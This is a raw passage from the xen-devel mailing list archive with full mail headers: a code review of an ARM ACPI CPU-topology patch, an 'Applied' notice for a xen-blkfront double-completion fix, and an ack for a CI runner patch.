	a81Y6Mn6lUWZyVtvTLHkbsOVHOrWYdR9JvSf/0JqwzLQ4dgIR5ncHiOqdRDIWM/MBL7f8w3cBk8
	J+jw2jxnQE3idrBCerfCp1YzHDCXbrW254eyiiAQ4Ptq1RaEuh6Y1ArOdmagDrlgsQIKMNcpvO6
	7KI15TrpIAXwX/pTlA/T2ayMpgBSQIEBiFo+gvf8OQub4AJwhLf9Cvx4+BRcVcvPnJR5BnHsLJ3
	ZouRlQan5zzw1xJg5CNvA70tdnLAgxnUfpC9V/KryK0Nl9Qte+6bhRnA+UILRMZCjx2BiNCYS+1
	USZLtblycDzdnnhkfwp3SKUzKjMGs944gWG+6nyw3KSJ+DkmgjhVgNLqADqtIziAdAc0DOME45s
	RSH
X-Received: by 2002:a05:6000:4027:b0:47d:e548:9b2 with SMTP id ffacd0b85a97d-47df071b752mr12095623f8f.2.1783685855288;
        Fri, 10 Jul 2026 05:17:35 -0700 (PDT)
Message-ID: <a3421fa5-e2b5-432b-a40b-23df1d4f1675@suse.com>
Date: Fri, 10 Jul 2026 14:17:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 4/4] arm/acpi: Parse PPTT to initialize CPU topology
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <20260709220552.646462-5-taka@valinux.co.jp>
 <227bbc38-2d32-47c4-94cd-e80c2574f0b6@suse.com>
 <OS9P286MB7222C86952E041B984DC5F6A82FD2@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2Uu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 7bit
X-purgate-ID: tlsNG-d25034/1783685855-466F06B2-99856AB9/0/0
X-purgate-type: clean
X-purgate-size: 2529

On 10.07.2026 13:59, Hirokazu Takahashi wrote:
>>> --- a/xen/drivers/acpi/topology.c
>>> +++ b/xen/drivers/acpi/topology.c
>>> @@ -5,18 +5,90 @@
>>>  #include <xen/cpumask.h>
>>>  #include <xen/init.h>
>>>
>>> -/*
>>> - * TODO: Populate the topology information by scanning the ACPI
>>> - *       PPTT (Processor Properties Topology Table).
>>> - */
>>> -void __init acpi_init_cpu_topology(void)
>>> +uint32_t map_cpu_acpiid[NR_CPUS] __initdata =
>>> +         { [0 ... NR_CPUS - 1] = INVALID_ACPIID };
>>> +uint32_t socket_map[NR_CPUS] __initdata;
>>> +uint32_t cluster_map[NR_CPUS] __initdata;
>>> +uint32_t core_map[NR_CPUS] __initdata;
>>> +uint32_t thread_map[NR_CPUS] __initdata;
>>> +unsigned int __initdata num_sockets;
>>> +unsigned int __initdata num_clusters;
>>> +unsigned int __initdata num_cores;
>>
>> static for almost all of these? And please place __initdata uniformly,
>> between type and identifier.
> 
> Okay.
> 
>> For large NR_CPUS this also looks to be adding quite a bit of data. Is all
>> of this really needed?
> 
> The map_cpu_acpiid[NR_CPUS] array is required. This is because acpi_smp_init_cpus()
> parses the MADT and populates map_cpu_acpiid[] with the discovered CPUs. At the
> point when acpi_smp_init_cpus() is called, the total number of CPUs has not yet been
> determined.
> 
> The memory for socket_map[NR_CPUS], cluster_map[NR_CPUS], and core_map[NR_CPUS]
> is automatically freed after Xen initialization completes, as they are marked as __initdata.

As is map_cpu_acpiid[]'s memory, sure.

> Therefore, I am not sure if there is any clear advantage to switching them to dynamic
> allocation and deallocation.

I wasn't necessarily trying to hint at dynamic allocation, but yes, that may
be an option. The main point is that, as previously indicated, the number of
NR_CPUS-dimensioned arrays we have would better go down, not up. While here
it's memory that's freed post-init, it still grows image size: This isn't
.bss-like data; it's .data-like. You may want to take a look at the BRK
allocator (patches to have it in x86 have been pending for quite a while [1]).
That may be possible to leverage here (requiring it to become generic though,
not x86-specific): No space taken in image, but (almost) arbitrary amounts of
space reservable at build time.

Of course, none of the above eliminates the request to try to get away with
less memory overall.

Jan

[1] https://lists.xen.org/archives/html/xen-devel/2025-11/msg00390.html


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 12:49:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 12:49:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359290.1612922 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiAff-00018v-Nq; Fri, 10 Jul 2026 12:49:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359290.1612922; Fri, 10 Jul 2026 12:49:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiAff-00018o-Kw; Fri, 10 Jul 2026 12:49:35 +0000
Received: by outflank-mailman (input) for mailman id 1359290;
 Fri, 10 Jul 2026 12:49:34 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <axboe@kernel.dk>) id 1wiAfd-00018i-QS
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:49:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiAfc-000gF2-MX
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 14:49:32 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <axboe@kernel.dk>)
 id 6a50ea4f-e002-0a2a0a5209dd-0a2a4503c80c-48
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 14:49:32 +0200
Received: from [209.85.210.43] (helo=mail-ot1-f43.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <axboe@kernel.dk>)
 id 6a50ea5b-f2d2-0a2a45030019-d155d22be12c-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 14:49:32 +0200
Received: by mail-ot1-f43.google.com with SMTP id
 46e09a7af769-7e9ecd7216cso444991a34.3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 05:49:32 -0700 (PDT)
Received: from [127.0.0.1] ([198.8.77.157]) by smtp.gmail.com with ESMTPSA id
 46e09a7af769-7ebcb3f27besm6229648a34.25.2026.07.10.05.49.28
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Fri, 10 Jul 2026 05:49:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=kernel-dk.20251104.gappssmtp.com header.i="@kernel-dk.20251104.gappssmtp.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Date:Message-Id:Subject:References:In-Reply-To:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=kernel-dk.20251104.gappssmtp.com; s=20251104; t=1783687771; x=1784292571; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:date:message-id
         :subject:references:in-reply-to:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=PIPFqgbIUKyllKjaqWMtW74odvC0/oH+Xj63BOSJ31k=;
        b=SwRv+5H4w04wKaxKADwMJF33yALFBGS+UONHI1OahIXKAF2UmOvKshe2JLeG4YgEtt
         ODZIlddhdpRSgSTuc7xA/yIw/UH/4sWjdcTlbshxzejTf0ppAJifWFISfThmCD5A4y0h
         dUFkc5Tk3YKD9yhfVrLFkWF+Pgo7xYvcuN9ZlwLJZLzzNUhPMrpUMWtM7nEWC5CNSfe6
         otbrJp/UDr+LMq61s0yk7wAOURMjYDWUUZHbKgB8Gq4IlGl4ik1D4LkE63GJ8rKy/r54
         7OlU+jy+a5jOBbXMBkp9qDvik+D6O+Z2aR4O8ZaWng7fg4lI9Nseqxrwid3/YmkVjl1O
         5zkQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783687771; x=1784292571;
        h=content-transfer-encoding:content-type:mime-version:date:message-id
         :subject:references:in-reply-to:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=PIPFqgbIUKyllKjaqWMtW74odvC0/oH+Xj63BOSJ31k=;
        b=iJbyrqiu7lspGLUqcBBEJ2t/W/Z1/x5ExGXiFzM1bMS+wO+hwtUhcaftL8zg2G8W6F
         Vnz05RMzc9a39EcSnGvS7EDb5FVrluzBclHWaoo8wazLqXA844dYfcs3vrpRhpCvoRc0
         WARmgWWSQzKGCJs4TUntER8BKq9qsVG4p88PwX7uvCOUvDcHiMSgjJQ/V8GbaIbb+OnL
         AEN2YsrPARWRqz+kdtxnUPd0e4XrSmBmc2e8/5E+efjSRZbvUeTQLyAriLTBO8wBKTZ7
         11xRJgCx+gCPvjYeGc7e3fcH09JLvYPjmYsyBEuFDfq2cdlM1Al5wd5zWiZcvm+2qsxY
         JkLw==
X-Forwarded-Encrypted: i=1; AFNElJ/Wk5tklIfyiw0Wnsqdffiid8DgFoznsKzOHjosSPnm3qWIpPEWXzR3NhcPq869D8XIcz5nY2ih6fU=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw+USKO6Iv0gyOHZFSLBzMeeboY9q3BHhIwJXWlOrJ328fpec1w
	H/hBwoNEc+p4f4FAREA4NVsLxhU5KzH974DImwUMVhOvBqtDy9J8uvaFuBzeo7K31gw=
X-Gm-Gg: AfdE7cmAx/70vWJpqoWYFlu0dy0s67AhMBS1eTHKOICayP/IlhNzOw52943XuqizAB8
	WL25vmMnm0KOecTrPmewxKte1QDHxPkBu7DRQ5E85kRhSA4IAbczfrnJ2xbDameaoFJckN9Ti/p
	koUAKM8pVCL1YE+hGzOQnsMZtVWiYxgbmBEj4J0JqvT4BkuvP2kNOfx0XoQx5Wm4CoTDlI29nQ3
	iGzOh/V2HhUp6ETWaYmXirPw260iz9yQfCKS++NoMotyMDxA1U7VUmmSUjymLNxXNkjkbfhCXDO
	uXeyrGktRzFY/Mxba+TrCUq46/iHnInLl4bkqPr0Fk6DpB49uBqBJVHBtRB53vfAFq9mZJdyJSm
	Udief76eZYt4sqOMHUUjnMFAOumDHZfnxJbpSIRZqUMsJqF0ZX8mleoGkA20Z1OLx2wZDZW0L3+
	W0cXOEwXR1qwYRhrcmLPbiHIrW/IYof/53Hi+8bFTCzzV+14SuxPEPDMSHPUH6pmQ+Ug==
X-Received: by 2002:a05:6830:374c:b0:7e6:fdea:7aee with SMTP id 46e09a7af769-7ebcff9c7cbmr7993794a34.24.1783687770495;
        Fri, 10 Jul 2026 05:49:30 -0700 (PDT)
From: Jens Axboe <axboe@kernel.dk>
To: =?utf-8?q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
 Juergen Gross <jgross@suse.com>, Doruk Tan Ozturk <doruk@0sec.ai>
Cc: Stefano Stabellini <sstabellini@kernel.org>, 
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>, 
 xen-devel@lists.xenproject.org, linux-block@vger.kernel.org, 
 linux-kernel@vger.kernel.org
In-Reply-To: <20260709100853.7489-1-doruk@0sec.ai>
References: <20260709100853.7489-1-doruk@0sec.ai>
Subject: Re: [PATCH v2] xen-blkfront: fix double completion of split
 requests on resume
Message-Id: <178368776865.253806.8102253484028119931.b4-ty@b4>
Date: Fri, 10 Jul 2026 06:49:28 -0600
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Mailer: b4 0.15.2
X-purgate-ID: tlsNG-33051d/1783687772-F3756CF4-0C5F4BB2/0/0
X-purgate-type: clean
X-purgate-size: 765


On Thu, 09 Jul 2026 12:08:53 +0200, Doruk Tan Ozturk wrote:
> When a block request is too large for a single ring entry and the
> backend does not support indirect descriptors, blkfront splits it across
> two ring requests. This only happens when the frontend runs on a
> 64K-page kernel (e.g. arm64): there, even a single-page request may not
> fit in one ring slot and must be split. blkif_ring_get_request() is
> called twice and both shadow slots (shadow[id] and shadow[extra_id])
> point at the *same* struct request, linked through associated_id.
> 
> [...]

Applied, thanks!

[1/1] xen-blkfront: fix double completion of split requests on resume
      commit: 5d72720365f973e2c21fa99505b627521de66c25

Best regards,
-- 
Jens Axboe





From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:11:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:11:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359304.1612931 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiB13-00057J-Bb; Fri, 10 Jul 2026 13:11:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359304.1612931; Fri, 10 Jul 2026 13:11:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiB13-00057C-8t; Fri, 10 Jul 2026 13:11:41 +0000
Received: by outflank-mailman (input) for mailman id 1359304;
 Fri, 10 Jul 2026 13:11:39 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wiB11-000574-1o
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:11:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiB0z-006TXF-C8
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:11:37 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a50ef79-e002-0a2a0a5209dd-0a2a450c8900-40
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:11:37 +0200
Received: from [40.93.196.13]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a50ef87-e897-0a2a450c0019-285dc40d75ba-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:11:36 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by CH2PR03MB5255.namprd03.prod.outlook.com (2603:10b6:610:a2::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 13:11:34 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Fri, 10 Jul 2026
 13:11:33 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wO1aPwGWeAflgIHrRJMc3xmVTLVcT34ayf9NgiZwkdojzkVEmIaF4PciBvJHHDZTy/Zcy+oX1CmSX4OkcokQ7AHXWbB27KLxXXu/ytApstc7+q3N4PH52EaNw6QGxpxObGqIQoPETk2iV/PTmg36GSQfMz6oar7utSfMjpb2ytJI95BuN6CJVVZJXLmn9KQ/nYw+8nGT3NrbMiZALopT86aucmxbNY5OZubP4i+IT+37eca5iI64hwRD6x1EYaFMWErTcze2PKJthktyKdmMEvh7FLMy6erU16DZj/fCSB+jrIZDb9hf8Zk9tmeT8FAWb0M9h0H+W4na5aWwlGspgw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=yWGn7SXH1PCy7q5rGRK2s+7URhEWay2XJdSSbkXt0ac=;
 b=syd5wAGs3FDstN3yQaVwYmPtS0vmjiE+7+HSyCv23tRX86VZ4upaqf8XDHVqk6crvyObcmUoemZSQn16RWyQoVnJnBsmvDJD0wki/uni2a+irfO06LfPnXaLyOI7rZ3ZpJIkUyBA4DRnDlwdehwk8OiMWR8o2GrgvEBmsK/WQwD4kgdjLEM0L6Gg02N+ZQXdvY7k/Yq1RS8HZODGu1d14xtH9N/I6aOlE7eV3yCr6NoFY5Y4BNKh4spnzkvJ2YvLGkB5uL6Uf2qucRAbi2SNmwnL3ZUcDDhN2uWs/t+jmZWdULy9bJVeRxSkEIYRayw28unc0tdMs1YkxvendyBvlA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=yWGn7SXH1PCy7q5rGRK2s+7URhEWay2XJdSSbkXt0ac=;
 b=YR1O00gSVJqebrLUqNfHpgJ5UY5c54NdEpIvyWCaJxpBNMs6q2S9pBOCUu637RCe+kskBpQxNcXCjsthJzY77aFmwlRM4h7epNnF8wvOmnVFQc71BP6iERWXizU8AAAbS7b7pCsuvqjPtSakVn5lQdBllHG7UvcsEat2/RixFws=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <5850cce1-e36d-4c84-8e40-80a7c8771585@citrix.com>
Date: Fri, 10 Jul 2026 14:11:30 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH 1/2] CI: add PTL runner
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, xen-devel@lists.xenproject.org
References: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
 <3a541b59a711fbf8d9ec3d262cfeeacd2db25113.1783626895.git-series.marmarek@invisiblethingslab.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJATHSDO0ju+hqWqAb8kVijXLops0gOfqt3VPZq9cuHl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: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0155.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:188::16) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|CH2PR03MB5255:EE_
X-MS-Office365-Filtering-Correlation-Id: ee026c23-6a50-4f1c-96a2-08dede84c3ef
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|18002099003|22082099003|4143699003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	sxY2Cb98TqDYapJvz8VWK2/DGme15WRdx+TVKpIMUezpH53o5HE46kreYJ/oQiSLRt+gL37coq6e1ENVe6YiB13A3c1eJl0xzTc40j3bmvn0wb+ycNz6glykyxPQ5F4AG60QgLXyQT04vS04BPjczd+hs0GWasznJHxGQw4VTRf//6JrLyUjA92E04RCQeaL3OIi3PUJNk3ZktsUAHdTWA6DQ6QIjUBn60ron8gEDrZWNYwsDr2YTZsJyzf1salZyQnca8A5iLbwVcjwV/4YGqkEK39YkeGdkT9SLbcg2PcxhD7xI+nyoNkf12HVsE/s1JBteZZn2Tlvm2HG0N+Cs3pF9LOPst4AdGHipt6AyOc+0E2GMCiRWs9HZORJxulXAUOSgPYQe4+WK97e0Iuz0F5OejDL83X+j3oea0Mew4nAzvT+5fmgHsQTWQ2lu6111UQinu36QPvvZMvtVp54vuoF/Ql2PNSIY2pIqgXi+RKN8IqtjNrLeoSg2Ko+BE5rS70G2COSvEFydzGz0ZAO9aCAlm5mqYcqNhUc7JNKsFUKXgOQ7qP84yrn/W+Iwu3IrFn5hKr5tX6cJPisykwGx2LNAC6KAkBVtEJH5OCyStNBVHQmOG1ZrBjBDdpDCLt6NlxbHoqwrmH3DAp/J4CJz4vJbM0uA/nwokL7i532P1I=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(18002099003)(22082099003)(4143699003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?VC9ibXI5U2dmRXN1Y3gxSDQ0T1FuVEVBZVhoYkxBRldvLzQzaFI2MVZIZXdn?=
 =?utf-8?B?cTJhaStTQXd5cnZiSWc2OXJWVXIyNU9ZalNHeUlaQ0YwZzIyRU9lL1hYczkw?=
 =?utf-8?B?N1hUSFI2czRaUWkwcjBkN2U0WUQ5dkJ5QmZPaEMwaTgzbEU2MHpQelFsU0Ex?=
 =?utf-8?B?WEpPSFlJVFRzV3M5cDVKdTBvZGVPNEtKTW10VWNZNmZDUWw0SVFrcVlXNmlu?=
 =?utf-8?B?Uk5vL3hlZGhIRW1UWm9YNm9wUk04M1BRMGtQMW1qQVRmdG1mSzEzSllGYkQ1?=
 =?utf-8?B?RXdtdEtzZ1pkdlVFY0xxM2xveWs5cHNVRWtVRDl2eHRZOElVQTQydUR0a0c5?=
 =?utf-8?B?ZnY4UWYwUi9odkt3amFaL2ZFcmxjUDM5SDR5cC9aclRmK3dFSkhPanBINXF2?=
 =?utf-8?B?ZzAwVHNURVo5R092a2dlL1NZVGVSUTRJS01pdE9hZnZKdUZ5clFCdmhMVUdP?=
 =?utf-8?B?Q3c0N1ZLRFJSSlM3RDFXbEpEY05jNXRXSVNoYXM0eDAvTFk3UXIvbUZ6WldM?=
 =?utf-8?B?VkgzL0YvYVVtRlBhTWErZEczSmdPVlYzUDVzWnNNUHpydWRLRHdWU0M0cTRx?=
 =?utf-8?B?Ui9wcVFKNkE3RFAzVGxTWHJBOGNqRVBq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-CrossTenant-Network-Message-Id: ee026c23-6a50-4f1c-96a2-08dede84c3ef
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 13:11:33.9018
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 1J3XjduqL6O1u+/O2bAHbUHuMD2iJPoX/I9aWyBAuJfV0o8HNFpV4aiv0D9pp2Kxc+TU4GLy1Yq/WZ5EwIBIFv4IvVw3e8VTv6WpXCp8c9Y=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH2PR03MB5255
X-purgate-ID: tlsNG-d25034/1783689097-D6D6A6B2-B29E13DD/0/0
X-purgate-type: clean
X-purgate-size: 601

On 09/07/2026 8:57 pm, Marek Marczykowski-GÃ³recki wrote:
> For now run similar set of tests as ADL.
>
> Exclude suspend test for now. While firmware claims S3 is supported,
> suspend attempt fails (power LED blinks for a few seconds, and
> then system reboots). With no messages on the serial console, even with
> `sync_console`.
>
> Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>

I'll need to configure the runner in the right place(s) first.

Did you sort out the dual NIC problem?

For the patch, Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:28:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:28:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359329.1612940 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
